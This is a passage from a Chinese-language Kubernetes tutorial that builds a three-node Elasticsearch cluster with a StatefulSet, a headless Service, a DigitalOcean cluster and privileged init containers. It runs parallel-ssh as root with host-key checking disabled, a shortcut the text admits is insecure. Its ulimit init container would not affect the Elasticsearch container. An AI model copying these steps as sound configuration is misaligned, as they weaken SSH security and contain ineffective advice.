— 所需的副本数;CURRENT
— 当前副本数;UP-TO-–
— 具有最新配置的当前副本数(具有最新 Pod 模板/清单的副本);AVAILABLE
— 可供用户使用的副本数
我们可以运行 kubectl rollout status
来实时通知,当每个 Pod 准备就绪时:
$ kubectl rollout status deployment/elasticsearch
Waiting for rollout to finish: 0 of 3 updated replicas are available...
Waiting for rollout to finish: 1 of 3 updated replicas are available...
Waiting for rollout to finish: 2 of 3 updated replicas are available...
deployment "elasticsearch" successfully rolled out
然后,我们可以再次检查部署,并可以看到所有三个副本 Pod 都是可用的:
$ kubectl get deployments
NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE
elasticsearch 3 3 3 3 2m
我们现在已成功将方法从命令式(使用 kubectl run
)切换到声明式(使用清单文件和 kubectl apply
)。
Kubernetes 对象管理层次结构
为了巩固你对 Deployment 对象正在管理 ReplicaSet 对象的理解,你可以运行 kubectl get rs
来获取集群中的 ReplicaSet 列表:
$ kubectl get rs
NAME DESIRED CURRENT READY AGE
elasticsearch-699c7dd54f 3 3 3 3m
ReplicaSet 的名称自动从管理它的 Deployment 对象的名称生成,以及从 Pod 模板派生出的哈希值:
<deployment-name>-<pod-template-hash>
因此,我们知道 elasticsearch-699c7dd54f
ReplicaSet 由 elasticsearch
Deployment 管理。
使用相同的逻辑,你可以运行 kubectl get pods
来查看 Pod 列表:
$ kubectl get pods --show-labels
NAME READY STATUS LABELS
elasticsearch-699c7dd54f-n5tmq 1/1 Running app=elasticsearch,pod-template-hash=2557388109
elasticsearch-699c7dd54f-pft9k 1/1 Running app=elasticsearch,pod-template-hash=2557388109
elasticsearch-699c7dd54f-pm2wz 1/1 Running app=elasticsearch,pod-template-hash=2557388109
再次强调,Pod 的名称是其控制 ReplicaSet 的名称和一个唯一的哈希值。
你还可以看到,Pods 被应用了一个 pod-template-hash=2557388109
标签。Deployment 和 ReplicaSet 使用此标签来识别它应该管理哪些 Pods。
要获取有关单个 Pod 的更多信息,你可以运行 kubectl describe pods <pod-name>
,这将生成一个易于理解的结果:
$ kubectl describe pods elasticsearch-699c7dd54f-n5tmq
Name: elasticsearch-699c7dd54f-n5tmq
Namespace: default
Node: minikube/10.122.98.143
Labels: app=elasticsearch
pod-template-hash=2557388109
Annotations: <none>
Status: Running
IP: 172.17.0.5
Controlled By: ReplicaSet/elasticsearch-699c7dd54f
Containers:
elasticsearch:
Container ID: docker://ee5a3000a020c91a04fa02ec50b86012f2c27376b773bbf7be4c9ebce9c2551f
Image: docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4
Image ID: docker-pullable://docker.elastic.co/elasticsearch/elasticsearch-oss@sha256:2d9c774c536bd1f64abc4993ebc96a2344404d780cbeb81a8b3b4c3807550e57
Ports: 9200/TCP, 9300/TCP
Host Ports: 0/TCP, 0/TCP
State: Running
Ready: True
Restart Count: 0
Environment: <none>
Mounts:
/var/run/secrets/kubernetes.io/serviceaccount from default-token-26tl8 (ro)
Conditions:
Type Status
Initialized True
Ready True
PodScheduled True
Volumes:
default-token-26tl8:
Type: Secret (a volume populated by a Secret)
SecretName: default-token-26tl8
Optional: false
QoS Class: BestEffort
Events:
Type Reason Age From Message
---- ------ ---- ---- -------
Normal Scheduled 1m default-scheduler Successfully assigned elasticsearch-699c7dd54f-n5tmq to minikube
Normal SuccessfulMountVolume 1m kubelet, minikube MountVolume.SetUp succeeded for volume "default-token-26tl8"
Normal Pulled 1m kubelet, minikube Container image "docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4" already present on machine
Normal Created 1m kubelet, minikube Created container
Normal Started 1m kubelet, minikube Started container
或者,你可以通过运行 kubectl get pod <pod-name>
来以更结构化的 JSON 格式获取有关 Pod 的信息。
配置 Elasticsearch 集群
从kubectl describe pods
(或kubectl get pod
)的输出中,我们可以看到名为elasticsearch-699c7dd54f-n5tmq
的 Pod 的 IP 地址列出来为172.17.0.5
。由于我们的机器是这个 Pod 运行的节点,我们可以使用这个私有 IP 地址访问 Pod。
Elasticsearch API 应该监听端口9200
。因此,如果我们向http://172.17.0.5:9200/
发送GET
请求,我们应该期望 Elasticsearch 以 JSON 对象的形式回复:
$ curl http://172.17.0.5:9200/
{
"name" : "CKaMZGV",
"cluster_name" : "docker-cluster",
"cluster_uuid" : "dCAcFnvOQFuU8pTgw4utwQ",
"version" : {
"number" : "6.3.2",
"lucene_version" : "7.3.1"
...
},
"tagline" : "You Know, for Search"
}
我们可以为 Pod elasticsearch-699c7dd54f-pft9k
和 elasticsearch-699c7dd54f-pm2wz
做同样的事情,它们的 IP 地址分别是172.17.0.4
和 172.17.0.6
:
$ kubectl get pods -l app=elasticsearch -o=custom-columns=NAME:.metadata.name,IP:.status.podIP
NAME IP
elasticsearch-699c7dd54f-pft9k 172.17.0.4
elasticsearch-699c7dd54f-n5tmq 172.17.0.5
elasticsearch-699c7dd54f-pm2wz 172.17.0.6
$ curl http://172.17.0.4:9200/
{
"name" : "TscXyKK",
"cluster_name" : "docker-cluster",
"cluster_uuid" : "zhz6Ok_aQiKfqYpzsgp7lQ",
...
}
$ curl http://172.17.0.6:9200/
{
"name" : "_nH26kt",
"cluster_name" : "docker-cluster",
"cluster_uuid" : "TioZ4wz4TeGyflOyu1Xa-A",
...
}
尽管这些 Elasticsearch 实例都部署在同一个 Kubernetes 集群中,但它们各自位于自己的 Elasticsearch 集群中(目前有三个 Elasticsearch 集群,相互独立运行)。我们知道这一点是因为不同 Elasticsearch 实例的cluster_uuid
值都不同。
然而,我们希望我们的 Elasticsearch 节点能够相互通信,以便将写入一个实例的数据传播到其他实例,并从其他实例访问。
让我们确认我们的当前设置不是这种情况。首先,我们将索引一个简单的文档:
$ curl -X PUT "172.17.0.6:9200/test/doc/1" -H 'Content-Type: application/json' -d '{"foo":"bar"}'
{"_index":"test","_type":"doc","_id":"1","_version":1,"result":"created","_shards":{"total":2,"successful":1,"failed":0},"_seq_no":0,"_primary_term":1}
已经,我们可以看到期望的总分片数是2
,但我们只有一个分片。
我们可以确认文档现在已被索引,并且可以从同一 Elasticsearch 实例(在172.17.0.6:9200
运行)访问,但不能从我们的 Kubernetes 集群中的任何其他 Elasticsearch 实例访问:
$ curl "172.17.0.6:9200/test/doc/1"
{"_index":"test","_type":"doc","_id":"1","_version":1,"found":true,"_source":{"foo":"bar"}}
$ curl "172.17.0.5:9200/test/doc/1"
{"error":{"type":"index_not_found_exception","reason":"no such index","index":"test"},"status":404}
$ curl "172.17.0.4:9200/test/doc/1"
{"error":{"type":"index_not_found_exception","reason":"no such index","index":"test"},"status":404}
在我们继续之前,区分 Elasticsearch 集群和 Kubernetes 集群是很重要的。Elasticsearch 是一个分布式数据存储解决方案,其中所有数据都分布在一个或多个分片中,这些分片部署在一个或多个节点上。Elasticsearch 集群可以部署在任何机器上,并且与 Kubernetes 集群完全无关。然而,由于我们正在 Kubernetes 上部署分布式 Elasticsearch 服务,Elasticsearch 集群现在位于 Kubernetes 集群内部。
分布式数据库的网络
由于 Pods 的短暂性,运行特定服务(如 Elasticsearch)的 Pod 的 IP 地址可能会改变。例如,调度器可能会杀死在繁忙节点上运行的 Pod,并将其重新部署到更可用的节点上。
这对我们 Elasticsearch 部署提出了一个问题,因为:
-
在一个 Pod 上运行的 Elasticsearch 实例将不知道在其他 Pod 上运行的其他实例的 IP 地址
-
即使一个实例获得了其他实例的 IP 地址列表,这个列表也会很快过时
这意味着 Elasticsearch 节点无法发现彼此(这个过程称为节点发现),这也是为什么对一个 Elasticsearch 节点所做的更改没有传播到其他节点的原因。
要解决这个问题,我们必须了解 Elasticsearch 中的节点发现是如何工作的,然后找出我们如何配置 Kubernetes 以启用 Elasticsearch 的发现。
配置 Elasticsearch 的 Zen 发现
Elasticsearch 提供了一个名为Zen Discovery的发现模块,允许不同的 Elasticsearch 节点相互发现。
默认情况下,Zen Discovery 通过在每个环回地址(127.0.0.0/16
)上 ping 端口9300
到9305
来实现这一点,并尝试找到响应 ping 的 Elasticsearch 实例。这种默认行为为同一台机器上运行的 Elasticsearch 所有节点提供了自动发现。
然而,如果节点位于不同的机器上,它们将不会在环回地址上可用。相反,它们将具有仅限于其网络的 IP 地址。为了使 Zen Discovery 在这里工作,我们必须提供其他 Elasticsearch 节点上运行的种子列表中的主机名和/或 IP 地址。
此列表可以在 Elasticsearch 配置文件elasticsearch.yaml
中的discovery.zen.ping.unicast.hosts
属性下指定。但这很困难,因为:
-
这些 Elasticsearch 节点将要运行的 Pod IP 地址很可能发生变化
-
每次 IP 更改时,我们都需要进入每个容器并更新
elasticsearch.yaml
幸运的是,Elasticsearch 允许我们将此设置作为环境变量指定。因此,我们可以修改我们的deployment.yaml
文件,并在spec.template.spec.containers
下添加一个env
属性:
containers:
- name: elasticsearch
image: docker.elastic.co/elasticsearch/elasticsearch-oss:6.3.2
ports:
- containerPort: 9200
- containerPort: 9300
env:
- name: discovery.zen.ping.unicast.hosts
value: ""
将主机名附加到 Pods
但这个环境变量的值应该是多少?目前,Elasticsearch Pods 的 IP 地址是随机的(在很大范围内),并且可能随时更改。
要解决这个问题,我们需要为每个 Pod 提供一个独特的、即使它被重新调度也会坚持的 hostname。
当你访问一个网站时,你通常不会直接在浏览器中键入网站的 IP 地址;相反,你会使用网站的域名。即使网站的托管者更改为不同的 IP 地址,网站仍然可以通过相同的域名访问。这与我们将主机名附加到 Pod 时发生的情况类似。
要实现这一点,我们需要做两件事:
-
使用另一个称为StatefulSet的 Kubernetes 对象为每个 Pod 提供一个身份。
-
使用Headless Service将 DNS 子域附加到每个 Pod,其中子域的值基于 Pod 的身份。
与 StatefulSets 一起工作
到目前为止,我们一直在使用 Deployment 对象来部署我们的 Elasticsearch 服务。Deployment 控制器将管理其控制下的 ReplicaSets 和 Pods,并确保运行和健康的正确数量。
然而,Deployment 假设每个实例是无状态的,并且独立于彼此工作。更重要的是,它假设实例是可互换的——一个实例可以与任何其他实例互换。由 Deployment 管理的 Pod 具有相同的身份。
对于 Elasticsearch 或其他分布式数据库来说,情况并非如此,它们必须持有区分不同 Elasticsearch 节点状态的信息。这些 Elasticsearch 节点需要具有个别身份,以便它们可以相互通信,确保集群中数据的一致性。
Kubernetes 提供了一个名为StatefulSet的另一个 API 对象。与 Deployment 对象类似,StatefulSet 管理 Pod 的运行和扩展,但它还保证了每个 Pod 的排序和唯一性。由 StatefulSet 管理的 Pod 具有个别身份。
StatefulSets 在定义上与 Deployments 相似,因此我们只需要对我们的manifests/elasticsearch/deployment.yaml
进行最小改动。首先,将文件名改为stateful-set.yaml
,然后将kind
属性更改为 StatefulSet:
kind: StatefulSet
现在,StatefulSet 中的所有 Pod 都可以通过名称来识别。该名称由 StatefulSet 的名称以及 Pod 的序号索引组成:
<statefulset-name>-<ordinal>
序号索引
序号索引,也称为集合论中的序号,简单地说是一组用于按顺序排列一组对象的数字。在这里,Kubernetes 正在使用它们进行排序以及识别每个 Pod。你可以将其类比为 SQL 列中的自增索引。
StatefulSet 中的“第一个”Pod 的序号是0
,“第二个”Pod 的序号是1
,以此类推。
我们的状态集命名为elasticsearch
,并指示了3
个副本,因此我们的 Pod 现在将被命名为elasticsearch-0
、elasticsearch-1
和elasticsearch-2
。
最重要的是,Pod 的序号索引,以及其身份,是粘性的——如果 Pod 被重新调度到另一个节点,它将保持相同的序号和身份。
与服务一起工作
通过使用 StatefulSet,每个 Pod 现在都可以被唯一标识。然而,每个 Pod 的 IP 仍然是随机分配的;我们希望我们的 Pod 可以通过一个稳定的 IP 地址访问。Kubernetes 提供了Service对象来实现这一点。
Service 对象非常灵活,它可以以多种方式使用。通常,它用于为 Kubernetes 对象如 Pod 提供 IP 地址。
Service 对象最常见的用途是为分布式服务提供一个单一、稳定、外部可访问的集群 IP(也称为服务 IP)。当向此集群 IP 发出请求时,请求将被代理到运行该服务的某个 Pod。在这种情况下,Service 对象充当负载均衡器。
然而,这并不是我们为 Elasticsearch 服务所需要的东西。我们不想为整个服务使用单个集群 IP,而是希望每个 Pod 都有自己的稳定子域,以便每个 Elasticsearch 节点都可以执行节点发现。
对于这个用例,我们想要使用一种特殊类型的 Service 对象,称为无头服务。与其他 Kubernetes 对象一样,我们可以使用清单文件定义无头服务。在manifests/elasticsearch/service.yaml
创建一个新文件,内容如下:
apiVersion: v1
kind: Service
metadata:
name: elasticsearch
spec:
selector:
app: elasticsearch
clusterIP: None
ports:
- port: 9200
name: rest
- port: 9300
name: transport
让我们来看看一些字段代表什么:
-
metadata.name
:与其他 Kubernetes 对象一样,有一个名称允许我们通过名称而不是 ID 来识别服务。 -
spec.selector
:这指定了应由服务控制器管理的 Pod。对于服务而言,这定义了选择器,用于选择构成服务的所有 Pod。 -
spec.clusterIP
:这指定了服务的集群 IP。在这里,我们将它设置为None
,表示我们想要一个无头服务。 -
spec.ports
:请求从端口映射到容器端口的映射。
让我们将此服务部署到我们的 Kubernetes 集群中:
在我们定义服务之前,实际上不需要运行 Pod。服务通常会评估其选择器以找到满足选择器的新 Pod。
$ kubectl apply -f manifests/elasticsearch/service.yaml
service "elasticsearch" created
我们可以通过运行kubectl get service
来查看正在运行的服务列表:
$ kubectl get services
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
elasticsearch ClusterIP None <none> 9200/TCP,9300/TCP 46s
kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 4h
将 StatefulSet 链接到服务
首先,让我们删除现有的elasticsearch
Deployment 对象:
$ kubectl delete deployment elasticsearch
现在,最后一步是创建我们的 StatefulSet,它为每个 Pod 提供唯一的标识,并将其链接到服务,为每个 Pod 提供子域名。我们通过在 StatefulSet 清单文件中指定服务的名称作为spec.serviceName
属性来完成此操作:
...
spec:
replicas: 3
serviceName: elasticsearch
...
现在,与 StatefulSet 关联的服务将获得以下结构的域名:
<service-name>.<namespace>.svc.<cluster-domain>
我们服务的名称是elasticsearch
。默认情况下,Kubernetes 将使用default
命名空间和cluster.local
作为集群域名。因此,我们的无头服务的服务域名为elasticsearch.default.svc.cluster.local
。
Headless Service 中的每个 Pod 都将有自己的子域名,其结构如下:
<pod-name>.<service-domain>
或者,如果我们展开它:
<statefulset-name>-<ordinal>.<service-name>.<namespace>.svc.<cluster-domain>
因此,我们的三个副本将具有以下子域名:
elasticsearch-0.elasticsearch.default.svc.cluster.local
elasticsearch-1.elasticsearch.default.svc.cluster.local
elasticsearch-2.elasticsearch.default.svc.cluster.local
更新 Zen Discovery 配置
我们现在可以将这些子域名组合成一个以逗号分隔的列表,并将其用作传递给 Elasticsearch 容器的discovery.zen.ping.unicast.hosts
环境变量的值。更新manifests/elasticsearch/stateful-set.yaml
文件,内容如下:
env:
- name: discovery.zen.ping.unicast.hosts
value: "elasticsearch-0.elasticsearch.default.svc.cluster.local,elasticsearch-1.elasticsearch.default.svc.cluster.local,elasticsearch-2.elasticsearch.default.svc.cluster.local"
最终的stateful-set.yaml
应如下所示:
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: elasticsearch
spec:
replicas: 3
serviceName: elasticsearch
selector:
matchLabels:
app: elasticsearch
template:
metadata:
name: elasticsearch
labels:
app: elasticsearch
spec:
containers:
- name: elasticsearch
image: docker.elastic.co/elasticsearch/elasticsearch-oss:6.3.2
ports:
- containerPort: 9200
- containerPort: 9300
env:
- name: discovery.zen.ping.unicast.hosts
value: "elasticsearch-0.elasticsearch.default.svc.cluster.local,elasticsearch-1.elasticsearch.default.svc.cluster.local,elasticsearch-2.elasticsearch.default.svc.cluster.local"
现在,我们可以通过运行kubectl apply
将此 StatefulSet 添加到我们的集群中:
$ kubectl apply -f manifests/elasticsearch/stateful-set.yaml
statefulset.apps "elasticsearch" created
我们可以通过运行kubectl get statefulset
来检查 StatefulSet 是否已部署:
$ kubectl get statefulsets
NAME DESIRED CURRENT AGE
elasticsearch 3 3 42s
我们还应该检查 Pod 是否已部署并正在运行:
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
elasticsearch-0 1/1 Running 0 1m
elasticsearch-1 1/1 Running 0 1m
elasticsearch-2 1/1 Running 0 1m
注意现在每个 Pod 都有一个具有以下结构的名称<statefulset-name>-<ordinal>
。
现在,让我们curl
每个 Pod 的端口号9200
,看看 Elasticsearch 节点是否已经相互发现,并共同形成一个单一集群。我们将使用kubectl get pods
的-o
标志来提取每个 Pod 的 IP 地址。-o
标志允许你指定自定义的输出格式。例如,你可以获取 Pod 名称和 IP 地址的表格:
$ kubectl get pods -l app=elasticsearch -o=custom-columns=NAME:.metadata.name,IP:.status.podIP
NAME IP
elasticsearch-0 172.17.0.4
elasticsearch-1 172.17.0.5
elasticsearch-2 172.17.0.6
我们将运行以下命令以获取运行在 Podelasticsearch-0
上的 Elasticsearch 节点的集群 ID:
$ curl -s $(kubectl get pod elasticsearch-0 -o=jsonpath='{.status.podIP}'):9200 | jq -r '.cluster_uuid'
eeDC2IJeRN6TOBr227CStA
kubectl get pod elasticsearch-0 -o=jsonpath='{.status.podIP}'
返回 Pod 的 IP 地址。然后使用该 IP 地址的curl
命令访问端口号9200
;-s
标志静默 cURL 通常打印到stdout
的进度信息。最后,使用jq
工具解析来自 Elasticsearch 的 JSON,从中提取cluster_uuid
字段。
最终结果给出一个 Elasticsearch 集群 ID 为eeDC2IJeRN6TOBr227CStA
。对其他 Pod 重复相同的步骤以确认它们已成功执行节点发现,并且是同一 Elasticsearch 集群的一部分:
$ curl -s $(kubectl get pod elasticsearch-1 -o=jsonpath='{.status.podIP}'):9200 | jq -r '.cluster_uuid'
eeDC2IJeRN6TOBr227CStA
$ curl -s $(kubectl get pod elasticsearch-2 -o=jsonpath='{.status.podIP}'):9200 | jq -r '.cluster_uuid'
eeDC2IJeRN6TOBr227CStA
完美!另一种确认方法是向任意一个 Elasticsearch 节点发送GET /cluster/state
请求:
$ curl "$(kubectl get pod elasticsearch-2 -o=jsonpath='{.status.podIP}'):9200/_cluster/state/master_node,nodes/?pretty"
{
"cluster_name" : "docker-cluster",
"compressed_size_in_bytes" : 874,
"master_node" : "eq9YcUzVQaiswrPbwO7oFg",
"nodes" : {
"lp4lOSK9QzC3q-YEsqwRyQ" : {
"name" : "lp4lOSK",
"ephemeral_id" : "e58QpjvBR7iS15FhzN0zow",
"transport_address" : "172.17.0.5:9300",
"attributes" : { }
},
"eq9YcUzVQaiswrPbwO7oFg" : {
"name" : "eq9YcUz",
"ephemeral_id" : "q7zlTKCqSo2qskkY8oSStw",
"transport_address" : "172.17.0.4:9300",
"attributes" : { }
},
"77CpcuDDSom7hTpWz8hBLQ" : {
"name" : "77CpcuD",
"ephemeral_id" : "-yq7bhphQ5mF5JX4qqXHoQ",
"transport_address" : "172.17.0.6:9300",
"attributes" : { }
}
}
}
验证 Zen 发现
一旦所有 ES 节点都被发现,大多数 API 操作都以对等的方式从一个 ES 节点传播到另一个节点。为了测试这一点,让我们重复之前所做的操作,并向一个 Elasticsearch 节点添加一个文档,并测试是否可以从不同的 Elasticsearch 节点访问这个新索引的文档。
首先,让我们在elasticsearch-0
Pod 内部运行的 Elasticsearch 节点上索引一个新的文档:
$ curl -X PUT "$(kubectl get pod elasticsearch-0 -o=jsonpath='{.status.podIP}'):9200/test/doc/1" -H 'Content-Type: application/json' -d '{"foo":"bar"}'
{"_index":"test","_type":"doc","_id":"1","_version":1,"result":"created","_shards":{"total":2,"successful":2,"failed":0},"_seq_no":0,"_primary_term":1}
现在,让我们尝试从另一个 Elasticsearch 节点(例如,运行在 Podelasticsearch-1
内部的节点)检索这个文档:
$ curl "$(kubectl get pod elasticsearch-1 -o=jsonpath='{.status.podIP}'):9200/test/doc/1"
{"_index":"test","_type":"doc","_id":"1","_version":1,"found":true,"_source":{"foo":"bar"}}
尝试对elasticsearch-0
和elasticsearch-2
重复相同的命令,并确认你得到相同的结果。
太棒了!我们现在已经成功地在我们的 Kubernetes 集群内部以分布式方式部署了我们的 Elasticsearch 服务!
在云服务提供商上部署
到目前为止,我们已经在本地部署了一切,这样你可以免费自由地实验。但为了使我们的服务对更广泛的互联网可用,我们需要将我们的集群远程部署,使用云服务提供商。
DigitalOcean 支持运行 Kubernetes 集群,因此我们将登录到我们的 DigitalOcean 仪表板并创建一个新的集群。
创建一个新的远程集群
登录到你的 DigitalOcean 账户后,点击仪表板上的 Kubernetes 标签。你应该会看到“在 DigitalOcean 上开始使用 Kubernetes”的消息。点击创建集群按钮,你将看到一个类似于你配置 droplet 的屏幕:
确保你选择至少三个节点,每个节点至少有 4 GB 的 RAM。然后点击创建集群。你将被带回到主 Kubernetes 标签页,在那里你可以看到集群正在被配置:
点击集群,您将被带到集群的概览部分:
点击下载配置按钮以下载连接到我们在 DigitalOcean 上创建的新集群所需的配置。当您打开它时,您应该会看到类似以下内容:
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: S0tL...FFDENFRJQV0
server: https://8b8a5720059.k8s.ondigitalocean.com
name: do-nyc1-hobnob
contexts:
- context:
cluster: do-nyc1-hobnob
user: do-nyc1-hobnob-admin
name: do-nyc1-hobnob
current-context: do-nyc1-hobnob
kind: Config
preferences: {}
users:
- name: do-nyc1-hobnob-admin
user:
client-certificate-data: LUMMmxjaJ...VElGVEo
client-key-data: TFyMrS2I...mhoTmV2LS05kRF
让我们检查字段以了解它们为什么存在:
-
apiVersion
、kind
:这些字段与之前具有相同的意义 -
clusters
:定义由kubectl
管理的不同集群,包括集群服务器的 hostname 以及验证服务器身份所需的证书 -
users
:定义用于连接到集群的用户凭据;这可能包括证书和密钥,或者简单的用户名和密码。您可以使用相同的用户连接到多个集群,尽管通常您会为每个集群创建一个单独的用户。 -
context
:集群、用户和命名空间的分组。
节点初始化需要几分钟时间;在此期间,让我们看看如何配置kubectl
以与我们的新远程集群交互。
切换上下文
当使用kubectl
时,上下文是集群、用户凭据和命名空间的分组。kubectl
使用存储在这些上下文中的信息与任何集群通信。
当我们使用 Minikube 设置本地集群时,它会为我们创建一个默认的minikube
上下文。我们可以通过运行kubectl config current-context
来确认这一点:
$ kubectl config current-context
minikube
kubectl
从由KUBECONFIG
环境变量指定的文件中获取其配置。这已在我们的.profile
文件中设置为$HOME/.kube/config
。如果我们查看它,我们将看到它与从 DigitalOcean 下载的配置非常相似:
apiVersion: v1
clusters:
- cluster:
certificate-authority: ~/.minikube/ca.crt
server: https://10.122.98.148:8443
name: minikube
contexts:
- context:
cluster: minikube
user: minikube
name: minikube
current-context: minikube
kind: Config
preferences: {}
users:
- name: minikube
user:
client-certificate: ~/.minikube/client.crt
client-key: ~/.minikube/client.key
~/.kube/config
文件记录了集群主 API 服务器的 IP 地址,我们客户端与之交互的凭据,并将集群信息和用户凭据一起分组在上下文对象中。
为了使kubectl
与我们的新 DigitalOcean Hobnob 集群交互,我们必须更新KUBECONFIG
环境变量以包含我们的新配置文件。
首先,将配置文件从 DigitalOcean 复制到一个新文件:
$ cp downloads/hobnob-kubeconfig.yaml ~/.kube/
现在,编辑您的~/.profile
文件,并更新KUBECONFIG
环境变量以包含新的配置文件:
export KUBECONFIG=$HOME/.kube/config:$HOME/.kube/hobnob-kubeconfig.yaml
保存并源文件以使其应用于当前 shell:
$ . ~/.profile
现在,当我们运行kubectl config view
时,我们将看到来自我们两个文件的配置已合并在一起:
$ kubectl config view
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: REDACTED
server: https://8b8a5720059.k8s.ondigitalocean.com
name: do-nyc1-hobnob
- cluster:
certificate-authority: ~/.minikube/ca.crt
server: https://10.122.98.148:8443
name: minikube
contexts:
- context:
cluster: do-nyc1-hobnob
user: do-nyc1-hobnob-admin
name: do-nyc1-hobnob
- context:
cluster: minikube
user: minikube
name: minikube
current-context: minikube
kind: Config
preferences: {}
users:
- name: do-nyc1-hobnob-admin
user:
client-certificate-data: REDACTED
client-key-data: REDACTED
- name: minikube
user:
client-certificate: ~/.minikube/client.crt
client-key: ~/.minikube/client.key
现在,为了使kubectl
与我们的 DigitalOcean 集群而不是本地集群交互,我们只需更改上下文:
$ kubectl config use-context do-nyc1-hobnob
Switched to context "do-nyc1-hobnob".
现在,当我们运行kubectl cluster-info
时,我们得到有关远程集群而不是本地集群的信息:
$ kubectl cluster-info
Kubernetes master is running at https://8b8a5720059.k8s.ondigitalocean.com
KubeDNS is running at https://8b8a5720059.k8s.ondigitalocean.com/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
配置 Elasticsearch 节点
如官方 Elasticsearch 指南(www.elastic.co/guide/en/elasticsearch/reference/current/docker.html#_notes_for_production_use_and_defaults
)中所述,在生产环境中部署时,我们必须以某种方式配置运行 Elasticsearch 的节点。例如:
-
默认情况下,Elasticsearch 使用
mmapfs
目录来存储其索引。然而,大多数系统对 mmap 计数设置了65530
的上限,这意味着 Elasticsearch 可能会因为索引而耗尽内存。如果我们不更改此设置,在尝试运行 Elasticsearch 时,你将遇到以下错误:[INFO ][o.e.b.BootstrapChecks ] [6tcspAO] bound or publishing to a non-loopback address, enforcing bootstrap checks ERROR: [1] bootstrap checks failed [1]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144]
因此,我们应该将
vm.max_map_count
内核设置至少改为262144
。这可以通过运行sysctl -w vm.max_map_count=262144
临时实现,或者通过将其添加到/etc/sysctl.d/elasticsearch.conf
的新文件中永久实现。 -
UNIX 系统对打开的文件数量设定了一个上限,或者更具体地说,是对文件描述符的数量设定了上限。如果你超过了这个限制,试图打开新文件的进程将会遇到错误“打开文件过多”。
内核有一个全局限制,存储在
/proc/sys/fs/file-max
中;在大多数系统中,这是一个很大的数字,如2424348
。每个用户也有硬限制和软限制;硬限制只能由 root 提升,而软限制可以被用户更改,但永远不会超过硬限制。你可以通过运行ulimit -Sn
来检查文件描述符的软限制;在大多数系统中,默认值为1024
。你可以通过运行ulimit -Hn
来检查硬限制;例如,在我的机器上,硬限制是1048576
。Elasticsearch 建议我们将软限制和硬限制至少设置为
65536
。这可以通过以root
身份运行ulimit -n 65536
来实现。
我们需要为集群中的每个节点进行这些更改。但首先,让我们回到我们的 DigitalOcean 仪表板,看看我们的节点是否已成功创建。
在多台服务器上运行命令
当你在 DigitalOcean 仪表板上时,点击你的集群并转到节点标签页。在这里,你应该看到你的集群中的节点已经成功配置:
我们可以通过运行kubectl get nodes
从命令行确认这一点:
$ kubectl get nodes
NAME STATUS ROLES AGE VERSION
worker-6000 Ready <none> 17h v1.10.1
worker-6001 Ready <none> 17h v1.10.1
....
因为我们的当前上下文设置为do-nyc1-hobnob
,它将获取远程集群中的节点,而不是本地集群。
现在节点已经准备好了,我们如何更新之前提到的 Elasticsearch 特定设置呢?最简单的方法是通过 SSH 进入每个服务器并运行以下三组命令:
# sysctl -w vm.max_map_count=262144
# ulimit -n 65536
然而,一旦我们拥有大量服务器,这就会变得难以管理。相反,我们可以使用一个名为pssh
的工具。
使用 pssh
工具如 pssh
(并行 ssh,github.com/robinbowes/pssh
)、pdsh
(github.com/chaos/pdsh
)或 clusterssh
(github.com/duncs/clusterssh
)允许您同时向多个服务器发送命令。在所有这些工具中,pssh
的安装最为简单。
pssh
已列在 APT 注册表中,因此我们可以简单地更新注册表缓存并安装它:
$ sudo apt update
$ sudo apt install pssh
实际上,这将使用 parallel-ssh
的名称安装 pssh
;这样做是为了避免与 putty
软件包发生冲突。
我们现在可以使用 kubectl get nodes
命令来程序化地获取集群中所有节点的 IP 地址,并将其传递给 parallel-ssh
:
$ parallel-ssh --inline-stdout --user root --host "$(kubectl get nodes -o=jsonpath='{.items[*].status.addresses[?(@.type=="ExternalIP")].address}')" -x "-o StrictHostKeyChecking=no" "sysctl -w vm.max_map_count=262144 && ulimit -n 65536"
[1] 23:27:51 [SUCCESS] 142.93.126.236
vm.max_map_count = 262144
[2] 23:27:51 [SUCCESS] 142.93.113.224
vm.max_map_count = 262144
...
我们将 ssh
参数 StrictHostKeyChecking
设置为 no
以暂时禁用 ssh
对节点真实性的检查。这虽然不安全但提供了便利;否则,您必须将每个节点的密钥添加到 ~/.ssh/known_hosts
文件中。
使用 init containers
使用 pssh
是可接受的,但它是一个我们需要记住的额外命令。理想情况下,此配置应记录在 stateful-set.yaml
文件中,这样命令只会在已部署我们的 Elasticsearch StatefulSet 的节点上运行。Kubernetes 提供了一种特殊的容器类型,称为 Init Containers,它允许我们做到这一点。
Init Containers 是特殊的容器,在您的“正常” app Containers 启动之前运行和退出。当指定多个 Init Containers 时,它们按顺序运行。此外,如果上一个 Init Container 以非零退出状态退出,则下一个 Init Container 不会运行,整个 Pod 失败。
这允许您使用 Init Containers 来:
-
检查其他服务的就绪状态。例如,如果您的服务 X 依赖于另一个服务 Y,您可以使用 Init Container 来检查服务 Y,并且只有当服务 Y 正确响应时才会退出。Init Container 退出后,应用容器可以开始其初始化步骤。
-
更新运行 Pod 的节点上的配置。
因此,我们可以在 stateful-set.yaml
文件中定义 Init Containers,这将更新运行我们的 Elasticsearch StatefulSet 的节点上的配置。
在 stateful-set.yaml
文件中,在 spec.template.spec
下添加一个名为 initContainers
的新字段,并设置以下参数:
initContainers:
- name: increase-max-map-count
image: busybox
command:
- sysctl
- -w
- vm.max_map_count=262144
securityContext:
privileged: true
- name: increase-file-descriptor-limit
image: busybox
command:
- sh
- -c
- ulimit -n 65536
securityContext:
privileged: true
我们正在使用 busybox
Docker 镜像。busybox
是一个将许多常见的 UNIX 工具的微小版本组合成一个单一可执行文件的形象。本质上,它是一个极轻量级(<5 MB)的镜像,允许您运行许多您期望从 GNU 操作系统获得的实用命令。
最终的 stateful-set.yaml
文件应如下所示:
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: elasticsearch
labels:
app: elasticsearch
spec:
replicas: 3
serviceName: elasticsearch
selector:
matchLabels:
app: elasticsearch
template:
metadata:
labels:
app: elasticsearch
spec:
initContainers:
- name: increase-max-map-count
image: busybox
command:
- sysctl
- -w
- vm.max_map_count=262144
